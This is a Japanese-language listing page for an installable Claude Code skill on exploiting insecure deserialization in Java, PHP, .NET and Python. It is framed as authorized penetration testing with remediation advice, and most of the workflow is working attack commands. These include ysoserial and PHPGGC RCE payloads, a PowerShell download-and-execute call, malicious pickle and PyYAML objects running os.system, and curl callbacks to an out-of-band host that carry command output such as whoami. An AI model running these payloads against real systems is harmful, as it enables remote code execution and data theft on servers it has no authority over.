mcpField
E
exploiting-insecure-deserialization

exploiting-insecure-deserialization

github.com/mukul975セキュリティ35.2k232 回インストール8 週間前に更新
リポジトリ

exploiting-insecure-deserialization について

シリアライズデータを扱うアプリケーションの安全でないデシリアライズを評価するペネトレーションテスト用スキルです。Java、PHP、.NET、Python の検出・テスト手法を扱い、許可された範囲での実施を前提とします。

主な機能

  1. 01シリアライズデータの特定
  2. 02Java デシリアライズのテスト
  3. 03PHP ガジェットチェーンの生成
  4. 04.NET ViewState の評価
  5. 05Python pickle 処理のテスト
  6. 06影響の確認と記録

活用シーン

  1. 01シリアライズされたセッション Cookie の評価
  2. 02PHP アプリケーション入力のテスト
  3. 03.NET ViewState 保護の評価
  4. 04安全でない pickle 使用の調査

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-insecure-deserialization

インストール後、Claude Code で/exploiting-insecure-deserializationを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
references/
api-reference.md
scripts/
agent.py

詳細

安全でないデシリアライゼーションの悪用

使用する場面

  • アプリケーションがシリアライズされたデータ(Cookie、API パラメーター、メッセージキュー)を処理する、許可を得たペネトレーションテスト中
  • HTTP トラフィック内で Java のシリアライゼーションマーカー(ac ed 00 05 / rO0AB)を特定するとき
  • ユーザーが制御する入力に対して unserialize() を使用する PHP アプリケーションをテストするとき
  • BinaryFormatter、ObjectStateFormatter、または ViewState を使用する .NET アプリケーションを評価するとき
  • pickle(Python)、Marshal(Ruby)、または YAML のデシリアライゼーションを使用するアプリケーションのセキュリティ評価中

前提条件

  • 許可:RCE テストの範囲を明記した、書面によるペネトレーションテスト契約
  • ysoserial:Java デシリアライゼーション攻撃ツール(git clone https://github.com/frohoff/ysoserial.git)
  • ysoserial.net:.NET デシリアライゼーション攻撃ツール(git clone https://github.com/pwntester/ysoserial.net.git)
  • PHPGGC:PHP デシリアライゼーションのガジェットチェーン生成ツール(git clone https://github.com/ambionics/phpggc.git)
  • Burp Suite Professional:Java Deserialization Scanner 拡張機能を含むもの
  • Java Runtime:ysoserial の実行用
  • Collaborator/interactsh:コード実行の帯域外確認用

ワークフロー

ステップ 1:アプリケーショントラフィック内のシリアライズされたデータを特定する

HTTP パラメーター、Cookie、ヘッダー内のシリアライズされたオブジェクトを検出します。

# Java serialization markers
# Binary: starts with 0xACED0005
# Base64: starts with rO0AB
# Gzip+Base64: starts with H4sIAAAAAAAA

# Search Burp proxy history for serialization signatures
# In Burp: Proxy > HTTP History > Search > "rO0AB"

# Check cookies and parameters for Base64-encoded serialized data
echo "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA..." | base64 -d | xxd | head

# PHP serialization format
# Looks like: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
# a:2:{i:0;s:5:"hello";i:1;s:5:"world";}

# .NET ViewState
# __VIEWSTATE parameter in ASP.NET forms
# Starts with /wEP... (base64)

# Python pickle
# Base64 encoded pickle objects in cookies or API parameters
# Binary starts with 0x80 (protocol version)

# Common locations to check:
# - Session cookies
# - Hidden form fields (__VIEWSTATE, __EVENTVALIDATION)
# - API request/response bodies
# - WebSocket messages
# - Message queue payloads (JMS, RabbitMQ, Redis)
# - Cache entries (Memcached, Redis)
ステップ 2:ysoserial で Java デシリアライゼーションをテストする

Java アプリケーション向けのデシリアライゼーションペイロードを生成します。

# List available gadget chains
java -jar ysoserial.jar 2>&1 | grep -E "^\s+\w"

# Generate DNS callback payload for detection (safest test)
java -jar ysoserial.jar URLDNS "http://java-deser.abc123.oast.fun" | base64 -w0

# Test with Burp Collaborator
# Replace serialized cookie/parameter with generated payload
# Check Collaborator for DNS/HTTP callbacks

# Generate RCE payloads with common gadget chains
# CommonsCollections (very common in Java apps)
java -jar ysoserial.jar CommonsCollections1 "curl http://abc123.oast.fun/rce" | base64 -w0
java -jar ysoserial.jar CommonsCollections5 "whoami" | base64 -w0
java -jar ysoserial.jar CommonsCollections6 "id" | base64 -w0

# Spring Framework gadget
java -jar ysoserial.jar Spring1 "curl http://abc123.oast.fun/spring" | base64 -w0

# Hibernate gadget
java -jar ysoserial.jar Hibernate1 "curl http://abc123.oast.fun/hibernate" | base64 -w0

# Send payload via curl
PAYLOAD=$(java -jar ysoserial.jar CommonsCollections5 "curl http://abc123.oast.fun/confirm" | base64 -w0)
curl -s -X POST \
  -b "session=$PAYLOAD" \
  "https://target.example.com/dashboard"
ステップ 3:PHPGGC で PHP デシリアライゼーションをテストする

一般的なフレームワーク向けの PHP ガジェットチェーンを生成します。

# List available PHP gadget chains
./phpggc -l

# Generate payloads for common PHP frameworks
# Laravel RCE
./phpggc Laravel/RCE1 system "id" -b
./phpggc Laravel/RCE5 system "whoami" -b

# Symfony RCE
./phpggc Symfony/RCE4 exec "curl http://abc123.oast.fun/php-rce" -b

# WordPress (via Guzzle)
./phpggc Guzzle/RCE1 system "id" -b

# Monolog RCE
./phpggc Monolog/RCE1 system "id" -b

# Test by injecting into cookie or parameter
PAYLOAD=$(./phpggc Laravel/RCE1 system "curl http://abc123.oast.fun/laravel" -b)
curl -s -b "serialized_data=$PAYLOAD" \
  "https://target.example.com/dashboard"

# PHP object injection via manipulated serialized string
# Original: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
# Modified: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:5:"admin";}

# Test for type juggling with PHP unserialize
# Change string to integer: s:4:"role" -> i:1
ステップ 4:.NET デシリアライゼーションをテストする

ViewState やその他の .NET シリアライゼーションベクターを評価します。

# Analyze .NET ViewState
# Check if ViewState MAC is enabled
# Unprotected ViewState starts with /wE and can be decoded

# Using ysoserial.net for .NET payloads
# (Run on Windows or via Mono on Linux)
./ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter \
  -c "curl http://abc123.oast.fun/dotnet-rce" -o base64

./ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter \
  -c "whoami" -o base64

# Test ViewState deserialization
# If __VIEWSTATEMAC is disabled or machine key is known:
./ysoserial.exe -g ActivitySurrogateSelector -f ObjectStateFormatter \
  -c "powershell -c IEX(curl http://abc123.oast.fun/ps)" -o base64

# Insert payload into __VIEWSTATE parameter and submit form

# Check for .NET remoting endpoints
curl -s "https://target.example.com/remoting/service.rem"

# BinaryFormatter in API endpoints
# Look for Content-Type: application/octet-stream
# or application/x-msbin headers
ステップ 5:Python の pickle デシリアライゼーションをテストする

Python アプリケーションにおける pickle ベースのデシリアライゼーションを悪用します。

# Generate malicious pickle payload
import pickle
import base64
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl http://abc123.oast.fun/pickle-rce',))

payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(f"Pickle payload: {payload}")

# Alternative: Use pickletools for analysis
import pickletools
pickletools.dis(pickle.dumps(Exploit()))
# Send pickle payload
PAYLOAD=$(python3 -c "
import pickle, base64, os
class E:
    def __reduce__(self):
        return (os.system, ('curl http://abc123.oast.fun/pickle',))
print(base64.b64encode(pickle.dumps(E())).decode())
")

curl -s -X POST \
  -H "Content-Type: application/octet-stream" \
  -d "$PAYLOAD" \
  "https://target.example.com/api/import"

# Check for YAML deserialization (PyYAML)
# Payload: !!python/object/apply:os.system ['curl http://abc123.oast.fun/yaml']
curl -s -X POST \
  -H "Content-Type: application/x-yaml" \
  -d "!!python/object/apply:os.system ['curl http://abc123.oast.fun/yaml']" \
  "https://target.example.com/api/config"
ステップ 6:悪用を確認し、影響を記録する

デシリアライゼーション攻撃の成功を検証し、影響に至る連鎖を記録します。

# Confirm RCE with out-of-band callback
# Check interactsh/Collaborator for:
# 1. DNS resolution of your callback domain
# 2. HTTP request with command output
# 3. Timing-based confirmation (sleep commands)

# If blind, use timing-based confirmation
# Java: Thread.sleep(10000)
java -jar ysoserial.jar CommonsCollections5 "sleep 10" | base64 -w0
# Measure if response takes ~10 seconds longer

# Exfiltrate system info (authorized testing only)
java -jar ysoserial.jar CommonsCollections5 \
  "curl http://abc123.oast.fun/\$(whoami)" | base64 -w0

# Document the gadget chain and affected library versions
# Check target classpath for vulnerable libraries:
# - commons-collections 3.x / 4.0
# - spring-core
# - hibernate-core
# - groovy

主要な概念

概念説明
シリアライゼーションオブジェクトを保存または転送するためにバイトストリームへ変換すること
デシリアライゼーションバイトストリームからオブジェクトを再構築すること。コードが実行される可能性があります
ガジェットチェーン任意のコード実行を実現するために連鎖させた、既存のクラスメソッドのシーケンス
マジックメソッドデシリアライゼーション中に自動的に呼び出される特殊なメソッド(PHP の __wakeup、__destruct、Java の readObject)
ViewStateページの状態を保持する ASP.NET の仕組み。シリアライズされたオブジェクトを含むことがよくあります
PicklePython 標準のシリアライゼーション形式。信頼できないデータに対しては本質的に安全ではありません
URLDNS ガジェットDNS ルックアップを発生させる Java ガジェット。安全なデシリアライゼーション検出に役立ちます

ツールとシステム

ツール用途
ysoserial複数のガジェットチェーンに対応した、Java デシリアライゼーションペイロード生成ツール
ysoserial.net.NET デシリアライゼーションペイロード生成ツール
PHPGGC複数のフレームワークに対応した PHP 汎用ガジェットチェーン
Burp Java Deserialization ScannerJava デシリアライゼーションの脆弱性を自動検出
marshalsecさまざまなライブラリを対象とした Java アンマーシャリングの悪用
Freddy (Burp Extension)複数の言語におけるデシリアライゼーションの問題を検出

よくあるシナリオ

シナリオ 1:Java セッション Cookie による RCE

Java アプリケーションが、Cookie 内にシリアライズされたオブジェクトとしてセッションデータを保存しています。rO0AB というプレフィックスから、Java シリアライゼーションであることがわかります。ysoserial と CommonsCollections ガジェットチェーンを使用すると、リモートコード実行を実現できます。

シナリオ 2:PHP Laravel の Unserialize

Laravel アプリケーションが、非表示のフォームフィールドを介してシリアライズされたデータを受け渡しています。PHPGGC を使用して Laravel の RCE ガジェットチェーンを生成すると、フォーム送信時にコマンドを実行できます。

シナリオ 3:MAC なしの .NET ViewState

ASP.NET アプリケーションで ViewState MAC の検証が無効になっています。ysoserial.net を使用して悪意のある ViewState ペイロードを生成すると、ページが改変された ViewState を処理した際にコードが実行されます。

シナリオ 4:Redis キャッシュ内の Python Pickle

Python Web アプリケーションは、キャッシュ用にシリアライズされたオブジェクトを Redis に保存しています。悪意のある pickle ペイロードでキャッシュを汚染すると、アプリケーションがキャッシュされたオブジェクトをデシリアライズした際にコードが実行されます。

出力形式

## Insecure Deserialization Finding

**Vulnerability**: Insecure Deserialization - Remote Code Execution
**Severity**: Critical (CVSS 9.8)
**Location**: Cookie `user_session` (Java serialized object)
**OWASP Category**: A08:2021 - Software and Data Integrity Failures

### Reproduction Steps
1. Capture the `user_session` cookie value (starts with rO0AB)
2. Generate payload: java -jar ysoserial.jar CommonsCollections5 "id"
3. Base64 encode and replace the cookie value
4. Send request; command executes on the server

### Vulnerable Library
- commons-collections 3.2.1 (CVE-2015-7501)
- Java Runtime: OpenJDK 11.0.15

### Confirmed Impact
- Remote Code Execution as `tomcat` user
- Server OS: Ubuntu 22.04 LTS
- Internal network access confirmed via reverse shell
- Database credentials accessible from application config

### Recommendation
1. Avoid deserializing untrusted data; use JSON or Protocol Buffers instead
2. Upgrade commons-collections to 4.1+ (patched version)
3. Implement deserialization filters (JEP 290 for Java 9+)
4. Use allowlists for permitted classes during deserialization
5. Implement integrity checks (HMAC) on serialized data before deserialization

コメント